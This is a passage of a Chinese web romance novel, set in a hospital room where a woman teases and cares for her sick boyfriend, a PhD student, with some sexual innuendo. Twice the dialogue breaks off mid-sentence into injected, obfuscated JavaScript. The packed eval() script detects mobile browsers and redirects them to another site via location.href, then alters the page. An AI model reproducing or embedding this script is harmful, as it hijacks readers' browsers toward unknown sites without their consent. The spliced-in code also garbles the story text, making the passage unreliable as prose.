“给我好好躺着,搞幺蛾子你会嘎。”倪旖抹脖子威胁,随后安慰,“我给大师姐说了,让她帮忙带一节课。” “嗯?”蒋商鉴微微抬眸,随后惊慌失措给手机指纹解锁,查看消息。 大佬:注意身体健康,趁着假期多耍耍朋友,别回来遭罪。 蒋商鉴两手敲字。 蒋商鉴:耍? 对面秒回。 大佬蹲守在电脑店,摸着一杯生椰咖啡□□,耳朵带着隔音棉,静静注视一哭二闹三上吊撒野的小导师的小蜜,她脸上被扇好几巴掌,红得出现斑斑点点,抽半天风发型都不带乱的,挺奇迹的。 如来神掌主人就是不知道姓名的姑娘,挺帅的,啪啪哦—— 大佬笑笑,姨母笑一脸,总算放心办公室老幺,他这纯情小男生真的很容易看懂,你能感觉到他接过你请的饮料时是忐忑害羞的,能感觉到他把事情搞砸时脸上写满“天塌了”,能感觉到你帮他怼人时恨不得当场给你磕一个,挺可爱。 现在找个暴龙小女友,也算苦尽甘来,以后有人罩着。 大佬:你家小女朋友啊,挺可爱的。 蒋商鉴:小小小……啥玩意儿? 大佬:装个屁,休养好了再回来,就这样,你总废话一堆。 倪旖满脸无辜模样,只是唇角微提,都快压不住。 “你干嘛了?”蒋商鉴已经无法想象回去得叽叽喳喳半天。 “没干嘛呀,就说你生病了得去医院。”倪旖继续扮乖,还低头扣手指头。 没干嘛才怪! 还忌讳鸡背后势力? 去她丫的。 扇不死你。 爽完事儿了。 在她地盘还能让人给欺负了? 蒋商鉴板着脸:“那女的有没有欺负你?” “她骂我傻叉。”倪旖故意擦擦还没生产的眼泪,一副凄凉模样。 蒋商鉴知道她动作很假,可还是很关切给她擦擦,温柔道:“不哭不哭。” “我要哭。”倪旖一个劲嚎,雷声大雨点小,就跟孩子似的叫唤,偷偷摸摸表露神秘的表情,时不时抬眸一瞥是那黠慧的眼神,唇边漾出顽皮的笑意。 “那怎么办?我又没法替你报仇,我今天怼她,自身难保。”蒋商鉴四处张望着,从兜里找纸巾给她擦擦,手忙脚乱的。 倪旖俏皮眨了眨眼,极其可爱小语气炫耀:“没被欺负,谁欺负得了我?” “我知道,但倪旖装哭我也会很担心的。”蒋商鉴真的超幸福,喜欢倪旖那种简单又理性的语言风格,喜欢倪旖那种对创作小把戏的不懈捕捉,喜欢倪旖偶尔平静寻常下几近癫狂的克制,逐渐忽略他所认为的一点点小不足。 “师哥,你要快点好起来。”倪旖不闹了,攥着他手贴在自己脸颊慢慢磨蹭,眼里满是担忧,眼睫毛湿漉漉的。 那一瞬间,她闭上眼,不知道在祈愿蒋商鉴要健康好起来,还是担心蒋商鉴遇到意外出事故没人照顾。 “倪旖,你真不怕被传染?”蒋商鉴很温柔问她,拇指蹭蹭她软嫩脸颊。 “刚刚一直怕你出事情,我都没来得及害怕,现在有一点怕,我怕我再感染谁来给你当仆人?谁会有我当得如此无师自通?”倪旖嘴巴总是会说甜蜜话的。 这种话每天听到不下十遍,听得自己都已经麻木了。 蒋商鉴很冷静问她:“倪旖,你知道我不爱听这些的,我宁愿你发脾气。” “师哥,我就是很怕的,但是你都这样了,我再怕没意义的。”倪旖带哭腔。 “我知道你很怕的,我会快点好起来,不让你担心。”蒋商鉴眼里失落厉害,倪旖都习惯性说好话,但他当然不可能为这种事跟倪旖再怄气,不然以后就什么都不用干了,光怄气一整天都成。 蒋商鉴很短暂亲了一下倪旖脸颊。 倪旖一愣,那叫一个志得意满:“师哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250177|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再一次主动亲我呢!” 蒋商鉴收回手,躺在病床蒙着被子,淡淡一句:“啰嗦。” “啰嗦就啰嗦吧!”倪旖伸了个懒腰,揽住他卧倒在床上,扒拉开那被子,直接上嘴冲他眼睛鼻子脖颈……反正都来了一口,高兴道,“睡吧师哥!” “干嘛那么热情?”蒋商鉴嫌弃死了,那口水糊他一脸。 “我天生热情。”倪旖洋洋自得,“那个……师哥呀,你不觉得我们现在这样……就像妻子在为生病的丈夫守夜嘛……” 蒋商鉴双手狠狠一用力! “啊——!”倪旖一声惨叫! 蒋商鉴温柔摸摸她脸颊,笑得温雅清和:“抱歉,一时手滑。” 倪旖咬牙切齿:“你是故意的,你绝对是故意的!” 蒋商鉴不置可否,叮嘱让自己不要陷入糖衣炮弹里,倪旖太美好,可他一直很倒霉的,美好从不主动奔他而来,一定有诈,所以反复自我暗示不要自鸣得意,因为他知道,人们是容易为得过且过和半点成就而心满意足的。 他要的太多,倪旖没法给,例如,一张父母认可的结婚证,她是很难给的。 他也许只能当她一辈子情人,召之即来挥之即去。 他不可能同意的。 “小心我谋杀哦,跟你在一起后每早都会准备欧洲廉价饭店的典型免费面包。给你锯成一片一片的,配上橄榄油和醋。或者黄油。”倪旖虐待人的手法也是清醒脱俗的,再说,蒋商鉴长得挺帅,虐待起来也不太忍心。 蒋商鉴耸耸肩,无所谓道:“吃的时候用牙咬住,再甩动脖子,就可以撕下一块然后咀嚼。吃这个有两个优点:治疗颈椎病和锻炼咬合肌。” 倪旖咯咯地笑起来,仿佛回到她纯洁无暇的样子。 蒋商鉴叹息,看着她笑得开心道:“你这样的女孩是不是自小娇生惯养,在家中称王称霸,稍有不顺心便不是哭就是闹的。” “不是啊,很愚蠢啊这种做法。”倪旖一愣。 蒋商鉴没说话,愣神望着远处老旧超市,卷帘门缩在顶部,锈迹模糊而遥远老板扇着蒲苇避暑,空间被一排排货架整齐切割,时间都慢得吓人。 倪旖就坐在陪护凳上静静看着熟睡的蒋商鉴,他还戴着那种只顾埋头学习的学生才戴的黑色塑料框眼镜,有点搞笑,撩撩他额前发丝,碰触一下他温热脸颊,摸摸他软软性感的唇…… 她在想,真爱其实不需要他这样,但蒋商鉴很被动,爱意总是遮着掩着,反复试探确认,跟崇尚海明威的冰山理论似的,她就得费点心思,主动点,也鼓励他主动点。 蒋商鉴就意识朦胧卧在床榻上,感受着温凉纤长的手指在自己那里上反复移动摩挲,呼吸微微有点急促,这死小孩没啥好玩的嘛?肯定手机没电了!开始玩他了嘛?摸脸碰嘴巴都无所谓的,那手往哪儿瞎碰呢。 温凉的触觉,却带来难以言喻的燥热…… 蒋商鉴想醒来制止她,可昨晚没睡,现在跟鬼压床似的意识清醒但无法控制四肢,就这么被她放肆揩油,都怀疑自己喝的水被她下了乖乖药。 好一会儿,倪旖才住手。 幸好没发生不可挽回的结果。 蒋商鉴被吓得够呛,她就撩开他衣裳在小腹那摸摸玩玩的,要是故意碰他那里的话,他就会狠狠将她揍死,没分寸的家伙,你不怕我真怕的。 “蒋商鉴,我真的很怕的,你要死了我怎么办?我被好多人喜欢又被好多人忌惮的,你也是这样的,我知道的,我这个人,好像总是特别喜好自己没有的东西,我难得愿意花费点精力,我课题研究还没结束就跑来陪你,你要争气点。” 倪旖瞬间崩溃,她想到好多,她真有些累,她不知道意义是什么。 倪旖有意无意来接近蒋商鉴,只是因为他长得帅?他那种倔犟气质让她疼爱?他破碎家庭生养出的痛苦让她怜惜?他从事的生物领域是她想跟未来配偶一起的共同理想……太多太多,蒋商鉴有太多她喜爱的地方。 她做不到的,蒋商鉴可以做到,她做得到的,蒋商鉴也可以做到。 可那种矫揉造作小女孩情绪让她察觉危险,她的热情廉价得毫无意义。 如果,蒋商鉴知道她的爱不纯粹,他还会喜欢嘛? 不会的,他的尊严不会低头。 “师哥,希望你记得我对你的好。”倪旖轻轻说,没有说最后一句,就算这个好总是伴随纠结和后悔。 倪旖总是目空一切的暴躁与骄横,难得如此胆颤心惊。 蒋商鉴感动得要流泪,这死小孩还会说人话的。 倪旖撑个懒腰从背包里掏出昨晚被猫撕碎的试卷复印版,一张薄薄的纸就随意摊放在他裹着层空调被的小腹,简直是完美小桌板,胳膊肘杵着他肋骨就写作业,还是要给语文老头面子,毕竟把人气死得赔钱,都那么大年纪,容易嘎。 倪旖右手攥圆珠笔就戳着脸颊,若有所思嘀咕着:“我记得湖心亭看雪那个不是这样的,张岱好美婢好脔童,咋没了?居然删掉,有啥好删,还好我生性多疑,早就晓得。” “……”蒋商鉴都无语,这死小孩到底学些什么玩意儿啊。 倪旖特骄傲念叨:“美婢卫生纸代名词。” 蒋商鉴那撑着精神就气醒了,挑了下眉梢,幽幽问:“还挺好学?” 倪旖继续念叨:“白行简那著作,我念给你听?醒得真及时。” “我醒了就是专门听你读小黄文的?”蒋商鉴一口气差点没上来。 “不对你胃口?我还有其他的,要听嘛?你选,绣塌野史,桃花艳史,梦月楼情史……”倪旖用最奶的声音,萌萌的表情,小小心心地说着最猛的话。 蒋商鉴就特无语看着她,她主打一个顶着最乖的脸,做着最癫的事。 倪旖不再开完玩笑,摸摸他手指关节,甜腻腻道:“医生说我很正常,至少是身体好健康,精神呢不一定。” “看出来了。”蒋商鉴幽幽道,随后弯曲食指关节蹭蹭她滑滑的脸颊,“谁告诉你的这些小黄文?” “文言文夹杂白话文启蒙就学这个的,很有意思的。”倪旖绕圈圈。 蒋商鉴垂眸很认真。 倪旖半敷衍道:“不重要的人。” 蒋商鉴瞬间难受,不重要的人?需要这么支支吾吾的?她嘴巴里的不重要就是很重要,那不就是她前男友或者联姻对象。 “干嘛?”倪旖察觉他眼神黯淡。 “你在想什么?”蒋商鉴很清晰感受她的心不在这里,眼神带着一种悲伤。 倪旖只是摇摇头,没打算说点什么。 蒋商鉴轻轻捏一下她脸颊,等她叫唤一声才停下,随后也不解释,靠床榻背着她那边,一个字不说,满脸怨气,他快气死,以后还有的生气。 倪旖也不惯着他,攥紧拳头朝他后背一锭,生气道:“手痒就去挖坟。” 蒋商鉴气得更厉害,后背隐隐约约是疼痛,妈蛋,娶她回家该不会被家暴? 38.含量 “中午你睡着了,都小下午了,你现在不想跟我说话,那我叫polina随便做点病号餐带过来,polina是比较符合我口味的菲佣,她前半月休假,今天回家。”倪旖温柔揉揉蒋商鉴被她锤击过后的后脊背皮肤,弯下腰在他极不情愿状态下强行亲亲他耳朵。 蒋商鉴糊弄苍蝇似的驱逐她,风吹着他额前的碎发,沾满了发烧出来的汗液,可即使这样躺着也很体面,眼眸疲惫却依旧温柔,那样澄澈又干净。 倪旖拨弄他额前发丝,给他整理,自顾自嘀咕:“又生气了?不想哄了。” 蒋商鉴这一听着急了,可自尊不允许退避,他声音颤抖,仿佛时刻都带着一种不知从何而来的惊恐,僵硬道:“一辈子都踹寡妇门,这时候文绉绉整文言文。” “我是个傻逼。”倪旖自暴自弃。 “有较强的自我认知意识。”蒋商鉴很讽刺道。 倪旖一下扑他病床上。 蒋商鉴算是跟她缓解剑拔弩张气氛:“这一下很像抗日奇侠那个鹰爪功。” 倪旖撅着嘴巴不顾他的挣扎就要亲。 蒋商鉴剧烈反抗:“我家族有个传闻,被亲一万次就会死,所以不要亲我。” 倪旖停了一下,继续撅着嘴巴亲:“你记一下数,我要亲一万次成为你家族的英雄,直接打破谣言。” 蒋商鉴企图转移话题,被掐断苗头,连逃跑都被她踢掉拖鞋。 倪旖严肃道:“快点,我数到三——” 蒋商鉴最怕她嘴巴里的“蜀道山”,乖乖束手就范,躺着一动不动。 “muma——” “muma——” “muma——” …… 蒋商鉴都麻了,随便她亲。 也不知道过了多久,倪旖停顿动作:“多少下了?” 蒋商鉴懒得说话。 倪旖抬手指尖揪他小腹肉肉。 “不记得。”蒋商鉴好烦躁。 “那重来。”倪旖总是亲不够的。 “不要。”蒋商鉴把人扒拉开,满脸嫌弃。 倪旖见状也没再扑上去如狼似虎,只是笑道:“还有一万次。” 蒋商鉴没搭理她,侧躺着望着窗外。 倪旖胳膊肘杵着他一下,示意说话。 蒋商鉴撇开她手,一言不发。 倪旖见他来了劲儿,这小样还撒娇呢,咳嗽两声:“怎么了?” “我就是感觉我很难受。”蒋商鉴咕哝道。 “别难受。”倪旖很果断,在他话音刚落就说,差点就撞车了。 蒋商鉴猛地抬头,疑惑,她不知该此刻应该哄哄嘛,真是,便继续抱着一丝丝期待意味道:“我就是觉得我很普通。” “别普通。”倪旖憋住笑,继续僵硬咬住尾巴似的说话,直愣愣盯着他。 “我课题研究太难。”蒋商鉴先是错愕上下瞅她两下,瞬间低落。 “别难。”倪旖真的快点憋不住事儿,他真是好可爱,越是可爱越想逗逗。 蒋商鉴欲言又止,好一会儿才看神经病似的嘀嘀咕咕:“你疯了?” “别疯。”倪旖语速极快。 “……”蒋商鉴满脸无语,“你摩羯座吧?好钢铁的安慰人方式。” “还欠我一万个吻,继续?”倪旖摸摸他脑袋呆毛算是安慰。 蒋商鉴把她手撇掉,往边上躲躲,嫌弃道:“流氓。” 倪旖轻蔑一笑,随后凑他耳朵边用手掌挡着,小声问:“你长不长?” “个高?”蒋商鉴没听懂,就是她压自己怀里有点重,香香的。 “那个。”倪旖一下不好意思说,还放低声音很轻问。 “……”蒋商鉴又无语一下,瞥一眼,淡淡道,“你不都看了?” “时间。”倪旖凑上去轻轻咬磨了他耳朵,怎么笨笨的,一点都不懂。 “哦~,你说那个啊。”蒋商鉴笑笑,也不直接说。 倪旖朝他腰挠痒痒,等他歪七扭八瞎犟时再停下,淡淡道:“我可以接受我男人寿命短,绝不能接受我男人时间短。” “不知道。”蒋商鉴敲她脑袋,一个姑娘家的这么直白,一丁点不害臊。 “不知道?”倪旖狐疑,攥紧拳头不轻不重锤他胸口,嗔怪,“妈蛋,感觉我男人全身上下就嘴硬!” “我真不知道。”蒋商鉴扭头到一边,给她扒拉走,也不再继续尴尬话题。 倪旖坐在床沿,乐得要死,给他讲讲自己的幻想:“在未来某个夜晚,我俩躺床上要那啥,你问我,准备好了吗?我要开始啦。然后我刚害羞地闭上眼睛,你就结束了……哈哈哈……这是个人都受不了,太阳照地球它也得8分钟啊。” 蒋商鉴瞪她一眼,平静道:“我没做过,不知道。” “五姑娘没开发?”倪旖那八卦小眼神那真叫个神。 “嗯?”蒋商鉴彻底不懂她说话。 倪旖见他左食指微微翘着,心中一计,右手攒个圈套他食指上下撸动。 蒋商鉴起先没反应过来,随后一愣,难以置信后一秒缩回,彻底不跟她说话。 “我是个废物是不是?”倪旖托着下巴就这么无聊坐着。 “不是,”蒋商鉴微微扭头,拿脚尖踢踢她后腰,等她古灵精怪转头,眼睛特别有灵气转动着,就知道她装可怜,嘴巴里的安慰话一点都说不出,“不是?你怎么知道我心里就是这么想的?” 倪旖摸摸他肚皮,温柔解释:“商商,我知道你刚刚生气原因,你觉得有人教我看黄的,还是很亲密的异性,也许是前男友,不是的,我怕你觉得我涩,主动找肉看,不单纯。” “傻瓜,过来。”蒋商鉴勾勾指头等她躺怀里轻搂着她腰,“下次我们可不可以有话直接说?就不会有误会。” “嗯,商商,我没交过男友,以前在国外都泡实验室里,没时间撩骚,会黄的全是我好朋友林愈合传授的,她很专业。”倪旖甜甜腻腻蹭着他锁骨撒娇。 “我就是吃醋。” “咚咚——” 倪旖盘腿起身,冲门口望去,随意道:“进。” 司机毕恭毕敬将饭菜放一边:“大小姐,你吃完打我电话,我等会儿来取。” 倪旖来了劲,这不买药时送她的司机,笑嘻嘻介绍:“这是我男友,帅不帅?我跟你说啊——” 司机也是有骨气的,受不了唐僧似的念念叨叨,一次就好,车上逃不了,现在又不是没长腿,光速逃离病房。 “地狱空荡荡,倪旖在人间。”蒋商鉴都不用想,受害者又多一位。 “赶紧吃饭,手还在打吊瓶点滴,左手能不能吃饭?”倪旖弯腰摆小桌板,蒋商鉴血管颜色浅,实习护士戳右手背没法打留置针,左边也尝试几下才行的。 “不能。”蒋商鉴决定将撒娇进行到底。 “那我喂你。”倪旖很老夫老妻说话,将餐盒摆开来,端着米饭擓勺子喂他。 “烫。”蒋商鉴要折磨娇滴滴的倪旖。 “你都没碰饭菜,宝宝快点吃,肚子不饿嘛?”倪旖知道他作妖,顺势而为。 她叫我宝宝哎?蒋商鉴很高兴,瞬间放弃作妖念头,乖乖接受投喂。 蒋商鉴闲来无事便摸她的头,丸子头一下子就包裹住,还敲她脑袋。 吃完饭,倪旖细致入微剥橘,先尝尝酸不酸,不酸便抬手将其中一瓣灯递与蒋商鉴:“这给你。” 蒋商鉴故意探身咬住倪旖嘴巴里叼着那瓣:“我呢,喜欢这瓣。” 倪旖不动声色地睨了他一眼:两瓣还不是一样…… 吃完橘子收拾好小桌板,蒋商鉴从背包掏出笔记本电脑,格外专注,一见他手不释卷的投入模样,倪旖马上语重心长道:“蒋商鉴呐,博览群书也该适可而止,你这样还让不让别人活了?” “别说话。”蒋商鉴懒得抬头。 “我一定要打倒夏枫。” “嗯?” “我是受害者。” “什么?你哪儿受他压迫了?” “我对象受他压迫,身体亏空,以后日子咋整?” “也不至于……秒男。” “病人就好好休息,搞什么飞机?”倪旖说罢就闭合他电脑,“哪儿学的陋习?” 蒋商鉴反抗未遂。 “快点,我数到三——”倪旖使用必杀技。 “谁教你这些的?”蒋商鉴十分不情愿上交电脑,百无聊赖躺床上。 “妃子哥跟我说的,你那地区耙耳朵杀手锏就是蜀道山。”倪旖收缴战利品,探身将病房灯都关掉,床帘垂着,屋子瞬间暗掉。 “叛徒。”蒋商鉴嘀咕着。 劳资蜀道山,那耙耳朵地区小妹儿不高兴的时候,说出威胁,老子数到三,你给我老实交代。 倪旖原本不信,但这句话确实对蒋商鉴具有极强的威慑力,是她的必杀技,只要随时随地说出来都会令对方惊慌失措,立马服软。 “什么玩意儿?他那叫识时务者。等你身体好了,我们去吃鸳鸯锅。”倪旖抱着他电脑切换文献笔记页面,上下扫视,这是纯英文的,她学会的第一种语言就是英文,就算是晦涩难懂、诘屈聱牙的长词汇也是毫无阅读障碍。 “鸳鸯?”蒋商鉴难以置信,看她隐隐约约扫视一眼时带着的威胁,发出他这辈子最无奈的妥协,“那就鸳鸯吧。” “你貌似不乐意。”倪旖言语威胁。 “没有没有没有……”蒋商鉴求生欲望极强。 “你现在是有博士补助?工资卡呢?”倪旖两只食指摁着触摸屏很随意。 “干嘛?”蒋商鉴危机感前所未有强烈。 “你说呢?”倪旖为了防止他觉醒,得管控他的钱。 蒋商鉴语气弱弱的:“我能接受最大尺度就是搞一个家庭公共账户,每月每人上缴一个比例到家庭公共账户上做家庭公共基金用来支付家庭日常消费。” “不用那么麻烦,工资卡给我。”倪旖冰冷道。 “我都没钱,一丁点都没。”蒋商鉴还想藏藏没钱那日子就悲惨。 倪旖敲击键盘,展示屏幕数字。 蒋商鉴闭嘴,这该死叛徒,连他卡里多少钱都泄露,垂死挣扎:“你也不差我这仨瓜两枣,对吧?” 倪旖只是瞥一眼,话都没说。 蒋商鉴连忙道:“好的,领导。” 倪旖用指纹解锁后把手机甩给他,淡淡道:“绑好银行卡电子账户,别耍花招啊,你钱搁的卡种类和数量我都晓得,乖乖的。” 蒋商鉴满不情愿把电子账户绑好,还不忘吐槽:“现在算什么?” “好了?”倪旖把手机收回,很无情,“你是我的奴隶。” “……”蒋商鉴就莫名其妙啥都没有了,脑袋一团糟,“那我们?” “什么我们?你是你,我是我。”倪旖真是翻脸不认人,可行动确实很实诚,将她给国外老师指导过的论文发送到他邮箱,第一作者给他,其他作者跟他学校一丁点关系都没有,防着落人口舌。 “什么意思?”蒋商鉴不太高兴。 倪旖听出来,便敷衍般哄着:“你的东西就是我的东西,我的东西还是我的东西,但我们人格是平等的,你是你,我是我。” “歪理。”蒋商鉴见她盯着屏幕看得认真,自己手也痒痒,想搞科研。 “你不怕我偷你论文?”倪旖跟他开玩笑。 “……”蒋商鉴沉默,随后想趁不注意抢回电脑,可她反应速度很快,躲掉。 大眼对小眼,空气间满是尴尬。 倪旖不愿意计较,便眼神警告后自顾自看电脑屏幕,突然微信界面跳出一条消息,瞅着那头像就是个姑娘,抬眸望着蒋商鉴,展示一下。 蒋商鉴慌忙解释:“倪旖,那人好像是英语校报部长,我被采访过一次。” 倪旖没说话。 “你看嘛。”蒋商鉴着实是耙耳朵。 倪旖就当他面翻微信联系消息,时刻注意他表情,跟抓奸似的,还特地用他家方言说:“耍撒,咋个那么早就回来佬,外面妹妹多乖嘛,酒吧还是好耍嘛,摆龙门阵对头,回来爪子呐……” 蒋商鉴扶着额,这是无奈的笑:“你怎么会?” “天赋异禀。”倪旖哼一声。 英语校报女部长小卖部采访烦:蒋学长,您方便下周六八点在校媒体中心314接受我的英语校刊人物访谈嘛? 倪旖直接敲字。 蒋商鉴:不好意思。 英语校报女部长小卖部采访烦:那您看什么时候有空? 倪旖继续敲字。 蒋商鉴:不太方便。 倪旖懒得再回复套路,也不方便说破关系,生气归生气,但不做蠢事。 “大小姐,那饭盒我带走,水果零食我放这边。”司机将两大袋吃的喝的放下,攥着饭盒就准备离开,临走还嘀咕,“还真是耙耳朵。” 对内耙耳朵,对外抗战到底。 蒋商鉴嘴硬得厉害:“说我?屋里头,都是我骂我老婆的份,绝对不可能她骂我,屋里头都是我说了算,你和我接触久就知道。” “嗯嗯嗯呢。”司机过于敷衍。 “……”蒋商鉴感觉颜面荡然无存,扭头跟倪旖对视,被她再次凶一眼后,躲过视线,弱弱说,“老子想耍几天耍几天,想耍好久耍好久,你莫管我。” “睡觉。”倪旖头都不抬,语气极其平稳。 冷气就从小腿处丝丝侵袭过来,半刻之后涌遍全身,蒋商鉴刚要张嘴,就听到—— “快点,我数到三——” 蒋商鉴就这么直愣愣倒床榻上。 倪旖一抬眸,无语:“别睡得跟个猫条似的,那么板正。” 蒋商鉴咕哝道:“管得真多。”他在想,富二代可以说是恶名最盛的人,一般纨绔子弟如果是个大流氓的话,那么倪旖就是流氓中的“航空母舰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250178|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。 “明早想吃什么?”倪旖给他掖掖被子,随后趴在床前,额头靠在他腿上。 “随便。”蒋商鉴胳膊肘一撇,给她脸颊扒拉开。 倪旖就很顽强,一次次靠在他腿上,突然蹙眉:“你还想要小商商么?” 蒋商鉴下意识捂住那里,怕她来真的,她真的会来真的。 “等你起床后准备开始吃早餐,一早上我就会吩咐管家给你准备法式风情软炸小猪排,以及夏威夷番茄薄碎黄油鸡蛋烧。”倪旖摸着他手,一副下流模样。 蒋商鉴嫌弃要命,又不敢把手缩回来,表情狰狞:“那不就是锅包肉和西红柿炒鸡蛋嘛?” “bingo!”倪旖打个响指,表示他说得完全对,随后温柔道,“逗你的,病号餐要有点营养的,你没法选择,polina会准备好一切。” 蒋商鉴翻个白眼。 倪旖握着他掌骨关节,小声叮嘱:“你插手学生抽烟问题,多管闲事。” “你是说我家教学生吸烟我跟她妈说了一嘴?”蒋商鉴心里酸溜溜的。 倪旖叹息:“……本来她只是个抽烟的学生。你一顿操作之后,她变成了一个抽烟的未成年街溜子。你就不觉得哪里不太对吗?” “可这是我的责任。”蒋商鉴微微蹙眉,目视着,她微低着头,眼睛视线不经意地落在前下方的地面,轻闭着红润饱满唇,有时甚而把眼皮也合上一阵子,随着缓解尴尬的抖腿颠簸,身躯也时而稍显移晃。 “不是的,商商,你不用太过负责的,你拿钱提高成绩就行。”倪旖抬手摸摸他额头,用指尖缓解他蹙着的眉。 “道理我懂,可她一个未成年女孩很容易被带坏的。”蒋商鉴很严肃。 倪旖不耐烦:“科普一下,咱这块考公体制内大省,就算小升初都很卷,重点学校会把通过买房升学的差学生扔到一起,叫做业主班,你那家教小孩典型地主家的初一年级傻孩子,你救不来,我的圣父哎。” “那是我的责任。”蒋商鉴再次强调。 “有些时候我只要盯着一位父亲的档案履历,就能把他下一代人的上限和下限看得明明白白。你那家教小孩也算中产,天资愚笨,爬到顶端也不过被鸡娃到国外镀金,然后回国混吃等死,你没必要多管闲事。”倪旖很冷静劝服他。 “我知道,但提醒一句那是我的责任。”蒋商鉴梗着脖子依旧我行我素。 “那你家教工作不是丢掉了?管得太多,两头不是人。”倪旖语气里藏不住嫌弃。 “那我做到我本职工作内的,其他的不关我事。”蒋商鉴继续强调。 倪旖面如死灰:“再敢说一个字我把你门牙全部敲掉。” “未成年女孩受文化熏陶,比如你,在学坏这方面很有天赋的。天性越单纯就越没什么框架、条条框框,越容易洗筋易髓改头换面,虽然是往差的方向。”蒋商鉴感受额头被她摸得痒痒的,连刚刚藏起来的不被理解的怒火也逐渐消散。 “我很坏?”倪旖错愕。 “不然?”蒋商鉴白眼。 “比如?”倪旖气得快说不出话。 “水性杨花。”蒋商鉴光是想到倪旖如此受欢迎就好吃醋的。 倪旖瞪一眼,满不在乎:“你又没睡过我,凭什么说我水性杨花。” “那你没点自觉?”蒋商鉴确实没法反驳,他好像这辈子只能短暂和她一起,家庭背景不适合,性格也需要时间磨合,倪旖只是看起来像龙傲天,实际上这种绝顶高手都是很单纯的。 在山头主义大本营里只有被打压的份。 所以,他想尽自己最大能力守护她。 “商商,我有时候熬夜犯困会抽烟提神,绞尽脑汁搞实验也会来一根,脑袋思路枯竭也会吸俩口。”倪旖一副犯错误模样垂头丧气。 “……”蒋商鉴微微放大瞳孔,哑口无言,好一会儿才错愕,“赶紧戒。” “你管我。”倪旖才不听那套鬼话,依旧我行我素。 “那你以后别亲我,我讨厌烟鬼。”蒋商鉴别开脸嫌弃道,外面窗下花园小树林里纵横交错林荫道,拐角缝隙一条窄道鲜有行人,浓荫跋扈地统御周遭。 “不亲就不亲,谁爱亲谁亲。”倪旖依旧不屑,只是无意识顺他视线往外看。 “看谁打脸。”蒋商鉴僵硬声音,用冷硬披上铠甲,只是余光装满她的眸色, “多少女孩爱上过你?”倪旖从屏幕收回目光看着蒋商鉴说,一直处于无聊查阅状态的她感到自己也确实需要转移一下注意力。 “这我不知道,对爱我的女孩子我不感兴趣,感兴趣的是我爱上的那些。”蒋商鉴撑着胳膊肘没半点困意,难得睡了一下午,晚上脑神经很兴奋的。 “那些?”倪旖不知不觉就带点醋意,也是,蒋商鉴长得帅学历高,还缺追求者么?带着一丝失望垂下眼睛。 “对啊,可多呢。”蒋商鉴此刻微笑很奇妙,这种贱兮兮得意的笑如果可能,将与蒙娜丽莎的微笑和柴郡猫的露齿笑一样著名。 “坦白从宽。”倪旖冷漠望着他。 蒋商鉴咳嗽两声,左胳膊肘撑着脑袋,就笑眯眯盯着她,眼睛弯弯的,得意得欠揍,拉长声线一字一顿道:“有一个学生物的师妹,有一个是暴龙。” “哦吼?”倪旖气得想笑,啪叽把电脑壳合上,一副生闷气模样。 蒋商鉴嘴角都快翘上天,得意洋洋把她手上冰镇铆橙汁抢过来,笑嘻嘻喝一口后语调微漾:“骗我说没谈过?我也没说实话,谁都不欠谁。” “名字叫什么?”倪旖好想把他电脑砸碎,顺手把他脑袋拧下来。 “生物的那个叫,李迩,暴龙那个叫,黎伞。”蒋商鉴紧紧攥着被子。 倪旖,倪一。 李迩,倪二。 黎伞,倪三。 蒋商鉴就故意逗她,这小傻子着急变傻真的超级可爱。 倪旖憋住怒火,详细询问:“那些女人为什么没同意你的求爱?” 蒋商鉴掩饰不住嘴角笑意,咳嗽两声:“当时我还没当博士。” 没当博士就是没到时间点遇到这么可爱的倪旖啊。 倪旖冷笑,小拳头朝他胸口锤两下,气呼呼道:“哦吼,她们拒绝你时该不会说,蒋商鉴的下面里没有知识的味道。” 蒋商鉴一愣,瞬间懵逼,这也是不打码说出来的嘛? “你也不要太敏感,”倪旖很淡定摸摸他微微颤着的掌骨,“女的真一直都受了很多苦,男的落魄时你不小心看他一眼他都觉得伤自尊。你现在难过呢?” “……我现在是博士了。”蒋商鉴欲言又止的。 “土拨鼠?”倪旖笑得灿烂,土拨鼠就是国内博士在圈里代称,土博士,鼠,就是被学业导师压榨得心理健康报警。 “……”蒋商鉴蹙眉,巨想揍她,真欠揍啊这张贱不拉几的小嘴。 “那你那个液体里知识含量也不纯。”倪旖杀人诛心。 39.宴席 蒋商鉴单手给她一个锁喉,将人拖到被窝里闷着,凑在她耳边:“小朋友瞎说话会受到惩罚。” “我错了,饶了我吧,”倪旖被摁得难受,连忙求饶。 “好,我现在睡不着,找点娱乐项目培养培养感情?”蒋商鉴给人细细捋好她被弄乱的发丝,眼神就跟泡在水里似的那么柔情。 倪旖点点头,把他手机拿过来用自己指纹解锁,在官网上点击电脑版页面,脑筋一转,小阴谋就水灵灵出来,随后搜索一个医疗剧,直接点击第一集。 转悠快半分钟才加载完成。 “你这破手机该换了,我送你一个。”倪旖晃晃那不机灵手机,略微嫌弃。 蒋商鉴只是紧紧搂着倪旖,她在岔开腿的缝隙里坐着,软软靠在他怀里,连呼吸都那么轻,身上甜腻腻的水果味,好重。 倪旖将手机横放着摆在被子上,随后握着自己手机想都没想直接选购自己的同款手机,墨绿色外壳,毕竟自己是玫瑰粉金,这样算情侣款。 “你真要送我这一万多的手机嘛?”蒋商鉴语气很轻,轻到就很卑微。 